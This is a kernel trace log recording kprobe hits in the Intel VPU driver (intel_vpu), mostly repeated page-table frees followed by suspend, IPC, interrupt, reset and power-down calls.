+kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_bo_unbind_all_bos_from_context +kprobe:intel_vpu:ivpu_mmu_context_fini +kprobe:intel_vpu:ivpu_mmu_cd_clear +kprobe:intel_vpu:ivpu_mmu_cdtab_entry_set +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_pm_runtime_suspend_cb +kprobe:intel_vpu:ivpu_mmu_disable +kprobe:intel_vpu:ivpu_hw_btrs_is_idle +kprobe:intel_vpu:ivpu_jsm_pwr_d0i3_enter +kprobe:intel_vpu:ivpu_ipc_send_receive_internal +kprobe:intel_vpu:ivpu_ipc_send +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_tx_set +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_hw_irq_handler +kprobe:intel_vpu:ivpu_hw_btrs_global_int_disable +kprobe:intel_vpu:ivpu_hw_btrs_irq_handler_lnl +kprobe:intel_vpu:ivpu_hw_btrs_is_idle +kprobe:intel_vpu:ivpu_hw_ip_irq_handler_40xx +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_addr_get +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_btrs_global_int_enable +kprobe:intel_vpu:ivpu_ipc_rx_msg_del +kprobe:intel_vpu:ivpu_ipc_consumer_del +kprobe:intel_vpu:ivpu_hw_btrs_wait_for_idle +kprobe:intel_vpu:ivpu_prepare_for_reset +kprobe:intel_vpu:ivpu_hw_irq_disable +kprobe:intel_vpu:ivpu_hw_btrs_irq_disable +kprobe:intel_vpu:ivpu_hw_ip_irq_disable +kprobe:intel_vpu:ivpu_ipc_disable +kprobe:intel_vpu:ivpu_mmu_disable +kprobe:intel_vpu:ivpu_shutdown +kprobe:intel_vpu:ivpu_hw_power_down +kprobe:intel_vpu:ivpu_hw_ip_read_perf_timer_counter +kprobe:intel_vpu:ivpu_hw_btrs_is_idle +kprobe:intel_vpu:ivpu_hw_reset +kprobe:intel_vpu:ivpu_hw_btrs_ip_reset +kprobe:intel_vpu:ivpu_hw_btrs_wp_drive +kprobe:intel_vpu:ivpu_hw_btrs_d0i3_enable +kprobe:intel_vpu:ivpu_pm_prepare_warm_boot + +